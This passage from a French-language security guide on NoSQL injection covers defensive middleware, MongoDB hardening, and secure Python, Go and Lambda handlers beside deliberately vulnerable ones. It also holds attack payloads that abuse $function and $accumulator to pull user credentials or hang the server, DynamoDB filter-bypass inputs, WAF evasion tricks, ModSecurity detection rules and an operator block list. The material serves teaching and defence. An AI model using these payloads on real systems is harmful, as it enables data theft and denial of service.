if (typeof value !== 'boolean') {
return res.status(400).json({
error: `Le champ ${field} doit être un booléen`
});
}
break;
}
}
next();
};
}
// Application sur les routes
app.post('/login',
sanitizeInput({ username: 'string', password: 'string' }),
loginHandler
);
app.get('/products',
sanitizeInput({ category: 'string', minPrice: 'number', maxPrice: 'number' }),
productSearchHandler
);
Mongoose sanitize-filter et express-mongo-sanitize
Pour les applications Node.js utilisant MongoDB via Mongoose, des solutions de sanitization dédiées existent. Le package express-mongo-sanitize est un middleware Express qui supprime automatiquement les clés commençant par $ et contenant des . dans req.body, req.params et req.query, neutralisant les opérateurs MongoDB injectés.
// Protection avec express-mongo-sanitize et Mongoose
const express = require('express');
const mongoose = require('mongoose');
const mongoSanitize = require('express-mongo-sanitize');
const helmet = require('helmet');
const app = express();
// 1. Middleware de sanitization MongoDB (INDISPENSABLE)
app.use(express.json());
app.use(mongoSanitize({
replaceWith: '_', // Remplace $ et . par _
onSanitize: ({ req, key }) => {
// Logger les tentatives d'injection détectées
console.warn(`[SECURITY] NoSQL injection attempt detected:`,
`IP=${req.ip}, Key=${key}, Path=${req.path}`);
}
}));
// 2. Validation de schéma Mongoose (défense en profondeur)
const userSchema = new mongoose.Schema({
username: {
type: String,
required: true,
trim: true,
minlength: 3,
maxlength: 50,
match: /^[a-zA-Z0-9_.-]+$/ // Caractères autorisés uniquement
},
password: {
type: String,
required: true,
minlength: 8
},
email: {
type: String,
required: true,
match: /^[^\s@]+@[^\s@]+\.[^\s@]+$/
},
role: {
type: String,
enum: ['user', 'moderator', 'admin'], // Valeurs autorisées uniquement
default: 'user',
immutable: true // Ne peut pas être modifié après création
}
});
// 3. Requêtes sécurisées avec Mongoose
async function findUserSafe(username, password) {
// Mongoose convertit automatiquement en String grâce au schéma
// Si un objet {$ne: ""} est passé, Mongoose le convertit en "[object Object]"
// ce qui ne matchera aucun utilisateur
const user = await User.findOne({
username: String(username), // Forcer la conversion en String
password: String(password)
});
return user;
}
// 4. Utilisation de l'API de query builder (plus sûre que les objets bruts)
async function searchUsersSafe(filters) {
const query = User.find();
// Construire la requête de manière programmatique
// au lieu de passer l'objet filters directement
if (filters.name && typeof filters.name === 'string') {
query.where('name').regex(new RegExp(escapeRegex(filters.name), 'i'));
}
if (filters.role && typeof filters.role === 'string') {
query.where('role').equals(filters.role);
}
if (filters.active !== undefined && typeof filters.active === 'boolean') {
query.where('active').equals(filters.active);
}
return query.exec();
}
function escapeRegex(text) {
return text.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, '\\$&');
}
Durcissement de la configuration MongoDB
Le durcissement du serveur MongoDB lui-même constitue la dernière couche de défense. Même si une injection réussit à traverser la validation et la sanitization, la configuration sécurisée du serveur limite l'impact de l'exploitation.
Authentification et contrôle d'accès
# Configuration sécurisée MongoDB (mongod.conf)
# Désactiver le moteur JavaScript serveur
# Empêche l'utilisation de $where, mapReduce et $accumulator
security:
javascriptEnabled: false
authorization: enabled # Activer l'authentification
# Réseau
net:
bindIp: 127.0.0.1 # Écouter uniquement sur localhost
port: 27017
tls:
mode: requireTLS
certificateKeyFile: /etc/ssl/mongodb.pem
CAFile: /etc/ssl/ca.pem
# Audit (MongoDB Enterprise)
auditLog:
destination: file
format: JSON
path: /var/log/mongodb/audit.json
filter: '{ atype: { $in: ["authenticate", "createUser", "dropDatabase",
"createCollection", "dropCollection"] } }'
# Limiter les opérations
operationProfiling:
mode: slowOp
slowOpThresholdMs: 100
# --- Création d'un utilisateur applicatif avec privilèges minimaux ---
# use myapp
# db.createUser({
# user: "app_reader",
# pwd: "strong_password_here",
# roles: [
# { role: "read", db: "myapp" } // Lecture seule
# ]
# })
#
# db.createUser({
# user: "app_writer",
# pwd: "another_strong_password",
# roles: [
# { role: "readWrite", db: "myapp" } // Lecture + écriture sur myapp uniquement
# ]
# })
Défense multicouche recommandée : (1) Valider le TYPE de chaque entrée utilisateur (string, number, boolean — rejeter les objets). (2) Utiliser un middleware de sanitization qui supprime les opérateurs MongoDB (express-mongo-sanitize). (3) Utiliser des requêtes paramétrées ou le query builder du driver/ORM. (4) Désactiver JavaScript côté serveur MongoDB (security.javascriptEnabled: false). (5) Appliquer le principe du moindre privilège pour l'utilisateur de base de données de l'application.
Défense avancée : Content Security Policy pour les API JSON
Au-delà des validations applicatives, des approches architecturales avancées permettent de réduire structurellement la surface d'attaque des injections NoSQL. L'une d'entre elles consiste à implémenter une couche de validation JSON Schema au niveau de l'API Gateway ou du reverse proxy, avant même que les requêtes n'atteignent le code applicatif. Cette approche « shift-left » garantit que seules les requêtes conformes au schéma attendu traversent vers l'application.
// Validation JSON Schema au niveau API Gateway
// Schéma OpenAPI pour l'endpoint de login
// L'API Gateway (Kong, AWS API Gateway, Apigee) valide chaque requête
// contre ce schéma AVANT de transmettre à l'application
const loginSchema = {
"type": "object",
"required": ["username", "password"],
"additionalProperties": false, // CRUCIAL: rejeter tout champ non déclaré
"properties": {
"username": {
"type": "string", // DOIT être une chaîne, pas un objet
"minLength": 3,
"maxLength": 50,
"pattern": "^[a-zA-Z0-9._@-]+$" // Caractères autorisés uniquement
},
"password": {
"type": "string", // DOIT être une chaîne, pas un objet
"minLength": 8,
"maxLength": 200
}
}
};
// Configuration Kong Gateway avec plugin request-validator
// plugins:
// - name: request-validator
// config:
// body_schema: |
// {
// "type": "object",
// "required": ["username", "password"],
// "additionalProperties": false,
// "properties": {
// "username": {"type": "string", "minLength": 3, "maxLength": 50},
// "password": {"type": "string", "minLength": 8, "maxLength": 200}
// }
// }
// AWS API Gateway — Request Validation Model
// Ce modèle est évalué avant l'invocation de la Lambda
// Si le body ne correspond pas au modèle, la requête est rejetée avec 400
// sans jamais atteindre le code applicatif
// Configuration Nginx avec module njs pour validation
// location /api/login {
// js_body_filter validate_login_body;
// proxy_pass http://backend;
// }
// Middleware de validation avancée avec ajv (Node.js)
const Ajv = require('ajv');
const ajv = new Ajv({ allErrors: true, removeAdditional: 'all' });
const schemas = {
'/api/login': {
type: 'object',
required: ['username', 'password'],
additionalProperties: false,
properties: {
username: { type: 'string', minLength: 3, maxLength: 50 },
password: { type: 'string', minLength: 8, maxLength: 200 }
}
},
'/api/search': {
type: 'object',
required: ['query'],
additionalProperties: false,
properties: {
query: { type: 'string', maxLength: 200 },
page: { type: 'integer', minimum: 1, maximum: 1000 },
limit: { type: 'integer', minimum: 1, maximum: 100 },
category: { type: 'string', enum: ['tech', 'science', 'arts'] }
}
}
};
function schemaValidationMiddleware(req, res, next) {
const schema = schemas[req.path];
if (!schema) return next();
const validate = ajv.compile(schema);
const valid = validate(req.body);
if (!valid) {
// Les erreurs ajv indiquent précisément quel champ est invalide
return res.status(400).json({
error: 'Validation failed',
details: validate.errors.map(e => `${e.instancePath} ${e.message}`)
});
}
next();
}
app.use(schemaValidationMiddleware);
La clé de cette approche est le paramètre additionalProperties: false dans le JSON Schema, combiné avec des types stricts pour chaque champ. Si un champ est déclaré comme "type": "string", tout objet JSON (comme {"$ne": ""}) est rejeté par le validateur de schéma car il n'est pas de type string. Les propriétés additionnelles non déclarées dans le schéma sont automatiquement supprimées ou rejetées, empêchant l'injection de champs non prévus (mass assignment). Cette validation structurelle au niveau du schéma est plus robuste que la sanitization car elle définit explicitement ce qui est accepté (allowlist) plutôt que de tenter de bloquer ce qui est dangereux (blocklist).
L'implémentation au niveau de l'API Gateway offre un avantage supplémentaire : la validation est appliquée uniformément à toutes les requêtes, indépendamment du code applicatif. Un développeur qui oublie de valider les entrées dans son handler est protégé par la validation au niveau du gateway. Cette architecture de « defense in depth » combine la validation gateway (protection structurelle), la sanitization middleware (protection opérateur), la validation applicative (protection métier), et le durcissement base de données (protection système).
Injection NoSQL dans les applications Python et Go
Les applications Python et Go présentent des vecteurs d'injection NoSQL différents de Node.js en raison de la manière dont ces langages gèrent les types de données et le parsing JSON. Cependant, les vulnérabilités existent dans ces écosystèmes et nécessitent des protections spécifiques.
# Python avec PyMongo — vulnérabilités et protections
# VULNÉRABLE: Flask avec parsing JSON automatique
from flask import Flask, request, jsonify
from pymongo import MongoClient
app = Flask(__name__)
client = MongoClient('mongodb://localhost:27017/')
db = client['myapp']
@app.route('/login', methods=['POST'])
def login_vulnerable():
data = request.get_json()
# VULNÉRABLE: data['password'] peut être un dict {$ne: ""}
user = db.users.find_one({
'username': data['username'],
'password': data['password']
})
if user:
return jsonify({'success': True})
return jsonify({'success': False}), 401
# SÉCURISÉ: validation de type explicite
@app.route('/login', methods=['POST'])
def login_secure():
data = request.get_json()
username = data.get('username')
password = data.get('password')
# Vérifier que les paramètres sont des chaînes
if not isinstance(username, str) or not isinstance(password, str):
return jsonify({'error': 'Paramètres invalides'}), 400
# Vérifier la longueur
if len(username) > 100 or len(password) > 200:
return jsonify({'error': 'Paramètres trop longs'}), 400
# Vérifier l'absence d'opérateurs (défense en profondeur)
if any(key.startswith('$') for key in [username, password]
if isinstance(key, str)):
return jsonify({'error': 'Caractères non autorisés'}), 400
user = db.users.find_one({
'username': username,
'password': password # En production: comparer le hash
})
if user:
return jsonify({'success': True})
return jsonify({'success': False}), 401
# --- Sanitizer Python réutilisable ---
def sanitize_mongo_input(data):
"""
Sanitize récursivement les entrées pour empêcher
les injections d'opérateurs MongoDB.
"""
if isinstance(data, dict):
sanitized = {}
for key, value in data.items():
if key.startswith('$'):
raise ValueError(f"Opérateur MongoDB interdit: {key}")
if '.' in key:
raise ValueError(f"Notation pointée interdite: {key}")
sanitized[key] = sanitize_mongo_input(value)
return sanitized
elif isinstance(data, list):
return [sanitize_mongo_input(item) for item in data]
elif isinstance(data, str):
return data
elif isinstance(data, (int, float, bool, type(None))):
return data
else:
raise ValueError(f"Type non autorisé: {type(data)}")
# Application dans un middleware Flask
@app.before_request
def sanitize_request():
if request.is_json:
try:
request.sanitized_json = sanitize_mongo_input(request.get_json())
except ValueError as e:
return jsonify({'error': str(e)}), 400
// Go avec le driver MongoDB officiel — protections
package handlers
import (
"context"
"encoding/json"
"fmt"
"net/http"
"reflect"
"strings"
"go.mongodb.org/mongo-driver/bson"
"go.mongodb.org/mongo-driver/mongo"
)
// LoginRequest avec des types stricts
type LoginRequest struct {
Username string `json:"username" validate:"required,min=3,max=50,alphanum"`
Password string `json:"password" validate:"required,min=8,max=200"`
}
// Handler sécurisé
func LoginHandler(collection *mongo.Collection) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
var req LoginRequest
// Le décodeur Go/JSON ne crée pas d'objets imbriqués
// pour les champs typés string => protection naturelle
decoder := json.NewDecoder(r.Body)
decoder.DisallowUnknownFields() // Rejeter les champs non attendus
if err := decoder.Decode(&req); err != nil {
http.Error(w, `{"error":"requête invalide"}`, http.StatusBadRequest)
return
}
// Validation supplémentaire
if strings.ContainsAny(req.Username, "${}") {
http.Error(w, `{"error":"caractères non autorisés"}`, http.StatusBadRequest)
return
}
// Requête MongoDB avec des types sûrs
// bson.M avec des valeurs string ne peut PAS contenir d'opérateurs
filter := bson.M{
"username": req.Username,
"password": req.Password, // En production: comparer le hash
}
var user User
err := collection.FindOne(context.Background(), filter).Decode(&user)
if err != nil {
http.Error(w, `{"success":false}`, http.StatusUnauthorized)
return
}
json.NewEncoder(w).Encode(map[string]bool{"success": true})
}
}
// SanitizeBSON vérifie récursivement qu'un document BSON
// ne contient pas d'opérateurs MongoDB injectés
func SanitizeBSON(doc interface{}) error {
v := reflect.ValueOf(doc)
switch v.Kind() {
case reflect.Map:
for _, key := range v.MapKeys() {
keyStr := fmt.Sprintf("%v", key.Interface())
if strings.HasPrefix(keyStr, "$") {
return fmt.Errorf("opérateur MongoDB interdit: %s", keyStr)
}
if err := SanitizeBSON(v.MapIndex(key).Interface()); err != nil {
return err
}
}
case reflect.Slice:
for i := 0; i < v.Len(); i++ {
if err := SanitizeBSON(v.Index(i).Interface()); err != nil {
return err
}
}
}
return nil
}
Go offre une protection naturelle supérieure à Node.js contre les injections d'opérateurs MongoDB grâce à son typage statique. Lorsqu'un champ est déclaré comme string dans une struct Go, le décodeur JSON ne peut pas le remplacer par un objet. La tentative de décoder {"password": {"$ne": ""}} dans un champ Password string échouera avec une erreur de type. Cette protection est cependant invalidée si le développeur utilise map[string]interface{} ou bson.M pour accepter des paramètres dynamiques — un anti-pattern qui réintroduit la vulnérabilité. Pour approfondir les bonnes pratiques de développement Go dans le contexte de la sécurité, notre article sur les techniques d'EDR bypass et contre-mesures explore les implications sécuritaires du développement d'outils en Go. Les organisations opérant dans des environnements réglementés trouveront également des informations pertinentes dans notre article sur le data masking et l'anonymisation dans le cadre du RGPD, qui couvre les obligations de protection des données stockées dans les bases NoSQL.
Comparaison des moteurs NoSQL : surface d'attaque et défenses
| Critère | MongoDB | Redis | Cassandra | Couchbase |
|---|---|---|---|---|
| Langage de requête | JSON/BSON operators | Commandes textuelles | CQL (SQL-like) | N1QL (SQL-like) |
| Vecteur d'injection principal | Opérateurs JSON ($ne, $gt, $regex) | Injection CRLF / Lua | Concaténation de chaînes CQL | Concaténation de chaînes N1QL |
| Exécution de code serveur | Oui ($where, mapReduce) | Oui (EVAL Lua) | Limitée (UDF si activées) | Oui (vues MapReduce) |
| Injection aveugle temporelle | Oui (sleep() via $where) | Oui (DEBUG SLEEP) | Limitée | Oui (fonctions de timing) |
| Requêtes paramétrées | Via driver (pas natif au protocole) | Via ARGV dans Lua scripts | Oui (prepared statements) | Oui (paramètres positionnels/nommés) |
| Protection naturelle du langage | Go > Python > Node.js | Égale (tous vulnérables) | Égale si concaténation | Égale si concaténation |
| ORM/ODM sécurisé | Mongoose (sanitize) | N/A | DataStax driver | Ottoman (ODM) |
| Désactivation JS serveur | Oui (javascriptEnabled: false) | rename-command EVAL "" | disable UDF | Configuration serveur |
| Outil de test spécialisé | NoSQLMap, nosqli | redis-cli (manuel) | sqlmap (partiel) | sqlmap (partiel, N1QL) |
| Risque d'écriture fichier | Non | Oui (CONFIG SET dir) | Non | Non |
Cette comparaison met en évidence que MongoDB présente la surface d'attaque la plus large en raison de son modèle de requête basé sur des objets JSON qui facilite l'injection d'opérateurs, tandis que Redis présente le risque de post-exploitation le plus élevé en raison de la possibilit�� d'écriture de fichiers arbitraires. Cassandra et Couchbase, utilisant des langages de requête textuels proches de SQL, sont vulnérables aux mêmes techniques que les injections SQL classiques mais avec des capacités d'exploitation réduites en raison des limitations de CQL et N1QL par rapport à SQL.
Exploitation de MongoDB via les fonctions d'agrégation $accumulator et $function
Depuis MongoDB 4.4, les opérateurs $accumulator et $function dans le framework d'agrégation permettent l'exécution de code JavaScript côté serveur, créant des vecteurs d'injection distincts de l'opérateur $where mais tout aussi dangereux. Ces opérateurs, conçus pour des transformations de données personnalisées dans les pipelines d'agrégation, acceptent des fonctions JavaScript comme paramètres et offrent un accès programmatique aux données de la collection.
L'opérateur $function permet de définir une fonction JavaScript personnalisée utilisée dans les expressions d'agrégation. Contrairement à $where qui s'exécute dans un contexte filtrant (retourne true/false pour chaque document), $function s'exécute dans le contexte de projection et transformation, offrant un accès plus riche aux données. L'opérateur $accumulator permet de définir une logique d'accumulation personnalisée dans un $group stage, avec des fonctions init, accumulate, merge et finalize.
// Injection via $function et $accumulator
// Application vulnérable qui accepte des stages d'agrégation dynamiques
app.post('/api/analytics/custom', async (req, res) => {
const { collection, pipeline } = req.body;
// VULNÉRABLE: le pipeline est construit à partir de l'entrée utilisateur
const results = await db.collection(collection)
.aggregate(JSON.parse(pipeline))
.toArray();
res.json(results);
});
// Payload d'attaque avec $function pour exfiltrer des données
{
"collection": "products",
"pipeline": "[{\"$addFields\": {\"leaked\": {\"$function\": {\"body\": \"function() { return db.getSiblingDB('admin').getUsers(); }\", \"args\": [], \"lang\": \"js\"}}}}]"
}
// Payload avec $accumulator pour accumulation malveillante
{
"collection": "orders",
"pipeline": "[{\"$group\": {\"_id\": null, \"stolen_data\": {\"$accumulator\": {\"init\": \"function() { return []; }\", \"accumulate\": \"function(state, email, password) { state.push({email: email, password: password}); return state; }\", \"accumulateArgs\": [\"$user_email\", \"$user_password_hash\"], \"merge\": \"function(state1, state2) { return state1.concat(state2); }\", \"finalize\": \"function(state) { return state; }\", \"lang\": \"js\"}}}}]"
}
// Payload pour denial of service via boucle infinie
{
"collection": "any",
"pipeline": "[{\"$addFields\": {\"dos\": {\"$function\": {\"body\": \"function() { while(true) {} }\", \"args\": [], \"lang\": \"js\"}}}}]"
}
// --- Défense contre les injections $function/$accumulator ---
// 1. Ne JAMAIS accepter des pipelines d'agrégation complets depuis le client
// 2. Construire les pipelines côté serveur avec des paramètres validés
// 3. Désactiver JavaScript côté serveur (bloque $function, $accumulator ET $where)
// mongod.conf
// security:
// javascriptEnabled: false
// 4. Si JavaScript est nécessaire, utiliser un sandbox réseau
// Docker avec read-only filesystem et network isolation pour MongoDB
// 5. Validation de pipeline côté application
function validatePipeline(pipeline) {
const dangerousOperators = [
'$function', '$accumulator', '$where',
'$merge', '$out', // Écritures arbitraires
'$lookup' // Accès cross-collection
];
const pipelineStr = JSON.stringify(pipeline);
for (const op of dangerousOperators) {
if (pipelineStr.includes(op)) {
throw new Error(`Opérateur interdit dans le pipeline: ${op}`);
}
}
return pipeline;
}
La particularité de $function et $accumulator par rapport à $where est qu'ils fonctionnent dans les pipelines d'agrégation, pas dans les requêtes find(). Les applications qui acceptent des paramètres de pipeline d'agrégation depuis le client (dashboards personnalisables, interfaces de reporting flexibles, API d'analytics) sont donc vulnérables même si elles ne construisent pas de requêtes find() dynamiques. La recommandation est de ne jamais accepter de pipelines d'agrégation complets depuis le client, mais de proposer un ensemble prédéfini de transformations paramétrables côté serveur.
Injection NoSQL dans les applications serverless
Les architectures serverless (AWS Lambda, Azure Functions, Google Cloud Functions) combinées avec des bases NoSQL managées (MongoDB Atlas, Amazon DynamoDB, Azure Cosmos DB) introduisent des considérations de sécurité spécifiques. Le modèle d'exécution éphémère des fonctions serverless et la gestion automatique de la connectivité base de données modifient la surface d'attaque et les stratégies de défense.
Dans une architecture serverless typique, l'API Gateway (AWS API Gateway, Azure API Management) route les requêtes vers des fonctions qui interagissent directement avec la base de données. Chaque fonction est un point d'entrée indépendant qui peut être développé par des équipes différentes avec des niveaux de maturité sécuritaire variables. L'absence d'un middleware centralisé (comme express-mongo-sanitize dans une application monolithique) signifie que chaque fonction doit implémenter sa propre validation, ce qui augmente le risque d'oubli.
# Injection NoSQL dans AWS Lambda + DynamoDB
# VULNÉRABLE: Lambda qui accepte des filtres DynamoDB non validés
import json
import boto3
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('users')
def lambda_handler(event, context):
body = json.loads(event['body'])
# VULNÉRABLE: FilterExpression construite dynamiquement
filter_expression = body.get('filter', '')
expression_values = body.get('values', {})
# L'attaquant peut manipuler FilterExpression pour scanner la table entière
response = table.scan(
FilterExpression=filter_expression,
ExpressionAttributeValues=expression_values
)
return {
'statusCode': 200,
'body': json.dumps(response['Items'], default=str)
}
# Payload d'attaque DynamoDB:
# {"filter": "attribute_exists(password_hash)", "values": {}}
# => Retourne tous les items qui ont un champ password_hash (= tous les utilisateurs)
# Payload pour bypass de filtrage:
# {"filter": ":val = :val", "values": {":val": {"S": "true"}}}
# => Condition toujours vraie, retourne tous les items
# --- Lambda sécurisée ---
import json
import boto3
from boto3.dynamodb.conditions import Key, Attr
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('users')
ALLOWED_FILTERS = {
'department': str,
'role': str,
'active': bool,
'created_after': str # ISO date
}
def lambda_handler(event, context):
body = json.loads(event['body'])
requester_id = event['requestContext']['authorizer']['claims']['sub']
# Construire le filtre de manière programmatique
filter_conditions = []
for key, value in body.get('filters', {}).items():
if key not in ALLOWED_FILTERS:
return {'statusCode': 400, 'body': json.dumps({'error': f'Filtre non autorisé: {key}'})}
expected_type = ALLOWED_FILTERS[key]
if not isinstance(value, expected_type):
return {'statusCode': 400, 'body': json.dumps({'error': f'Type invalide pour {key}'})}
filter_conditions.append(Attr(key).eq(value))
# Combiner les conditions
scan_kwargs = {}
if filter_conditions:
combined_filter = filter_conditions[0]
for condition in filter_conditions[1:]:
combined_filter = combined_filter & condition
scan_kwargs['FilterExpression'] = combined_filter
# Limiter les résultats
scan_kwargs['Limit'] = min(body.get('limit', 50), 100)
response = table.scan(**scan_kwargs)
# Filtrer les champs sensibles avant de retourner
safe_items = [{
'id': item['id'],
'name': item.get('name'),
'department': item.get('department'),
'role': item.get('role')
} for item in response['Items']]
return {'statusCode': 200, 'body': json.dumps(safe_items)}
Amazon DynamoDB présente un profil d'injection différent de MongoDB. DynamoDB utilise des expressions de filtre textuelles (FilterExpression) et des expressions de projection (ProjectionExpression) qui sont vulnérables à la manipulation si elles sont construites par concaténation. Cependant, DynamoDB sépare structurellement les noms d'attributs et les valeurs via des placeholders (:value pour les valeurs, #name pour les attributs), offrant une protection partielle similaire aux prepared statements SQL. Le risque principal réside dans les expressions construites sans utiliser ces placeholders, ou dans l'acceptation de FilterExpressions complètes depuis le client.
Azure Cosmos DB avec l'API MongoDB expose les mêmes vulnérabilités que MongoDB natif car il supporte les mêmes opérateurs de requête. En revanche, Cosmos DB avec l'API SQL utilise un langage de requête textuel qui nécessite des paramètres paramétrés (@paramName) pour la protection contre l'injection. La diversité des API Cosmos DB (MongoDB, SQL, Cassandra, Gremlin, Table) signifie que les techniques d'injection varient selon l'API configurée, et les développeurs doivent adapter leurs défenses en conséquence.
WAF et détection réseau des injections NoSQL
Les Web Application Firewalls (WAF) constituent une couche de détection supplémentaire mais ne doivent pas être considérés comme une protection primaire contre les injections NoSQL. Les signatures WAF peuvent détecter les patterns d'injection les plus évidents (présence de $ne, $gt, $where dans les paramètres) mais sont contournables par des techniques d'encodage et d'obfuscation.
# Règles ModSecurity pour la détection d'injections NoSQL
# Règle 1: Détecter les opérateurs MongoDB dans les paramètres POST
SecRule REQUEST_BODY "@rx \"\$(?:ne|gt|lt|gte|lte|in|nin|or|and|not|nor|exists|type|regex|where|elemMatch|size|all)\"" \
"id:100001,\
phase:2,\
deny,\
status:403,\
msg:'NoSQL Injection - Opérateur MongoDB détecté',\
logdata:'Matched Data: %{MATCHED_VAR}',\
severity:CRITICAL,\
tag:'application-multi',\
tag:'language-multi',\
tag:'attack-injection',\
tag:'OWASP_CRS/WEB_ATTACK/NOSQL_INJECTION'"
# Règle 2: Détecter les opérateurs dans les query strings
SecRule ARGS "@rx \[\$(?:ne|gt|lt|regex|where|exists)\]" \
"id:100002,\
phase:1,\
deny,\
status:403,\
msg:'NoSQL Injection - Opérateur MongoDB dans query string',\
severity:CRITICAL"
# Règle 3: Détecter les tentatives d'injection $where avec JavaScript
SecRule REQUEST_BODY "@rx \"\$where\"\s*:\s*\"[^\"]*(?:sleep|this\.|function|return|db\.|eval)" \
"id:100003,\
phase:2,\
deny,\
status:403,\
msg:'NoSQL Injection - JavaScript injection via $where',\
severity:CRITICAL"
# Règle 4: Détecter les injections de type objet (Content-Type JSON)
SecRule REQUEST_HEADERS:Content-Type "@contains application/json" \
"id:100004,chain"
SecRule REQUEST_BODY "@rx \"(?:username|password|email|token)\"\s*:\s*\{" \
"phase:2,\
deny,\
status:403,\
msg:'NoSQL Injection - Objet JSON dans un champ attendu comme chaîne',\
severity:HIGH"
# --- Contournements de WAF connus ---
# 1. Encodage Unicode: {"\u0024ne": ""} au lieu de {"$ne": ""}
# 2. Encodage URL double: %2524ne
# 3. Utilisation de paramètres query string: ?password[$ne]=
# 4. Injection via headers HTTP personnalisés
# 5. Fragmentation de la requête en chunks
Les techniques de contournement de WAF pour les injections NoSQL sont nombreuses. L'encodage Unicode (\u0024 pour $) n'est pas toujours détecté par les règles regex basiques. L'utilisation de paramètres de query string formatés comme des tableaux PHP (?password[$ne]=) exploite une fonctionnalité de certains frameworks qui convertissent automatiquement cette syntaxe en objets. La fragmentation des requêtes en chunks HTTP peut empêcher le WAF d'analyser le corps complet de la requête. Ces contournements renforcent la nécessité de ne pas s'appuyer uniquement sur le WAF mais de corriger les vulnérabilités au niveau du code applicatif.
La détection réseau des injections NoSQL via un IDS/IPS (Suricata, Snort) est limitée car le trafic est généralement chiffré (HTTPS) entre le client et le serveur web, et le trafic entre le serveur web et la base de données est souvent en texte clair sur le réseau interne. La surveillance du trafic entre l'application et MongoDB peut détecter des patterns suspects (commandes $where, requêtes $regex excessives) mais nécessite un positionnement réseau approprié et n'est pas scalable pour les environnements cloud avec des bases de données managées (MongoDB Atlas, Amazon DocumentDB). Pour les architectures modernes, consultez notre article sur l'architecture de sécurité OT/IT convergente qui aborde la segmentation réseau et le monitoring dans les environnements hybrides.
FAQ
Les injections NoSQL sont-elles aussi dangereuses que les injections SQL classiques ?
Le guide OWASP de test NoSQL Injection fournit une méthodologie complète. L'outil NoSQLMap automatise la détection de ces vulnérabilités. Les injections NoSQL présentent un niveau de dangerosité comparable aux injections SQL classiques pour le contournement d'authentification et l'exfiltration de données, mais avec des capacités de post-exploitation généralement plus limitées. Les injections SQL permettent souvent l'accès aux métadonnées du serveur (information_schema), l'exécution de fonctions système (xp_cmdshell en SQL Server, LOAD_FILE en MySQL), et la lecture/écriture de fichiers sur le système. Les injections NoSQL offrent ces capacités uniquement dans certains moteurs et configurations : l'opérateur $where de MongoDB permet l'exécution de JavaScript serveur, et l'injection de commandes Redis permet l'écriture de fichiers arbitraires via CONFIG SET. Pour les autres moteurs (Cassandra, Couchbase), les capacités d'exploitation sont plus restreintes. Cependant, l'impact métier — contournement d'authentification, fuite de données utilisateurs, modification de données — est identique et justifie le même niveau de priorité de correction.
express-mongo-sanitize suffit-il à protéger une application Node.js contre toutes les injections MongoDB ?
Non. express-mongo-sanitize protège contre les injections d'opérateurs en supprimant les clés commençant par $ dans les entrées utilisateur, mais il ne protège pas contre tous les vecteurs. Il ne protège pas contre les injections dans les requêtes construites par concaténation de chaînes (ex : des requêtes d'agrégation construites dynamiquement). Il ne protège pas contre les injections via les en-têtes HTTP ou les cookies si ceux-ci sont utilisés dans des requêtes MongoDB sans passer par le middleware. Il ne protège pas contre les injections $where si la valeur est une chaîne (le middleware supprime les objets avec $where comme clé, mais pas les chaînes contenant du JavaScript). La protection complète nécessite la combinaison de express-mongo-sanitize avec la validation de type pour chaque paramètre, l'utilisation du query builder Mongoose plutôt que des requêtes raw, et la désactivation de JavaScript côté serveur MongoDB.
Comment détecter les injections NoSQL dans les logs applicatifs ?
La détection dans les logs repose sur plusieurs indicateurs. Dans les logs applicatifs, recherchez les requêtes contenant des opérateurs MongoDB ($ne, $gt, $regex, $where) dans les champs qui devraient contenir des valeurs simples. Dans les logs MongoDB (profiler), recherchez les requêtes avec des opérateurs $where ou $regex sur des champs sensibles (password, token), les requêtes avec un temps d'exécution anormalement long (indicateur de sleep() dans $where), et les requêtes retournant un nombre inhabituel de documents. Dans les logs WAF, recherchez les requêtes bloquées pour des patterns NoSQL injection. Les corrélations temporelles sont également révélatrices : un volume élevé de requêtes d'authentification échouées suivies d'une requête réussie depuis la même IP peut indiquer une exfiltration aveugle réussie.
MongoDB Atlas et les bases de données managées sont-elles vulnérables aux injections NoSQL ?
Les bases de données managées (MongoDB Atlas, Amazon DocumentDB, Azure Cosmos DB) ne sont pas protégées contre les injections NoSQL au niveau de l'application. L'injection se produit dans le code applicatif qui construit les requêtes, pas au niveau du serveur de base de données. Un code vulnérable envoyant des requêtes avec des opérateurs injectés fonctionnera de la même manière contre un serveur MongoDB local ou contre MongoDB Atlas. Les bases managées offrent cependant des avantages pour la limitation de l'impact : l'utilisateur de base de données a des permissions contrôlées par la plateforme, l'accès réseau est restreint aux IP autorisées, JavaScript côté serveur peut être désactivé, et les logs d'audit sont disponibles nativement. MongoDB Atlas offre également des fonctionnalités de monitoring de sécurité qui peuvent détecter des patterns de requêtes suspects. Mais la responsabilité de prévenir les injections dans le code applicatif reste entièrement du côté du développeur.
Quelle est la différence entre une injection NoSQL et un Server-Side Request Forgery (SSRF) via MongoDB ?
L'injection NoSQL et le SSRF via MongoDB sont deux vulnérabilités distinctes avec des vecteurs et des impacts différents. L'injection NoSQL exploite la construction de requêtes pour modifier la logique de la requête (contournement d'authentification, exfiltration de données). Le SSRF via MongoDB exploite des fonctionnalités de MongoDB qui effectuent des requêtes réseau — typiquement via db.copyDatabase(), db.adminCommand({copydb: 1}), ou les connexions à des serveurs MongoDB distants. Si un attaquant peut contrôler le paramètre de destination de ces commandes, il peut forcer le serveur MongoDB à se connecter à des adresses réseau internes, exposant des services non accessibles depuis l'extérieur. Les deux vulnérabilités peuvent coexister dans la même application mais nécessitent des corrections distinctes : validation des entrées et requêtes paramétrées pour l'injection NoSQL, restriction des commandes d'administration et segmentation réseau pour le SSRF.
Comment tester la résistance aux injections NoSQL d'une API en boîte noire ?
Le test en boîte noire commence par l'identification du moteur de base de données (messages d'erreur verbeux, en-têtes de réponse, timing des requêtes). Pour MongoDB, testez l'injection d'opérateurs dans chaque paramètre : remplacez les valeurs de chaîne par des objets {"$ne": ""}, {"$gt": ""}, {"$regex": ".*"}. Observez les différences de réponse (code HTTP, contenu, timing). Utilisez Burp Suite avec l'extension NoSQL Injection Scanner pour l'automatisation. Pour les langages SQL-like (CQL, N1QL), utilisez les techniques d'injection SQL classiques adaptées (apostrophe, commentaires, UNION SELECT). Pour Redis, testez l'injection CRLF dans les paramètres utilisés comme clés. Documentez chaque endpoint testé, les payloads envoyés et les résultats observés. Un test exhaustif couvre non seulement les paramètres évidents (body JSON, query string) mais aussi les en-têtes HTTP, les cookies, les paramètres de chemin URL et les valeurs de formulaire encodées en URL.
Les ORMs et ODMs protègent-ils automatiquement contre les injections NoSQL ?
